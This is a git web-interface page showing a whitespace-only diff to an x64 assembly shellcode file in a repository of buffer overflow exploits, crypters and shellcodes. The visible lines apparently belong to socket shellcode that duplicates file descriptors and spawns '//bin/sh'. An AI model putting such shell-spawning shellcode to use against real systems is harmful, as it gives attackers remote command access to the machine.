index
:
bufflow.git
A collection of code examples e.g. a buffer overflow + exploit, crypter, shellcodes and more.
log msg
author
committer
range
master
about
summary
refs
log
tree
commit
diff
path:
root
/
shellcode
/
socket_x64.asm
diff options
context:
1
2
3
4
5
6
7
8
9
10
15
20
25
30
35
40
space:
include
ignore
mode:
unified
ssdiff
stat only
Diffstat
(limited to 'shellcode/socket_x64.asm')
-rw-r--r--
shellcode/socket_x64.asm
2
1 files changed, 1 insertions, 1 deletions
diff --git a/shellcode/socket_x64.asm b/shellcode/socket_x64.asm
index 1ec36b0..885c0fd 100644
--- a/
shellcode/socket_x64.asm
+++ b/
shellcode/socket_x64.asm
@@ -57,7 +57,7 @@ jnz dupes
mov rax,0x68732f6e69622f2f ; string 'hs/nib//'
push rax ; push the string onto the stack
xor rax,rax
-mov byte [rsp + 8],al ; null-terminate the string
+mov byte [rsp + 8],al ; null-terminate the string
mov rdi,rsp ; arg1 = pointer to string
push rax ; arg2 = null
mov rsi,rsp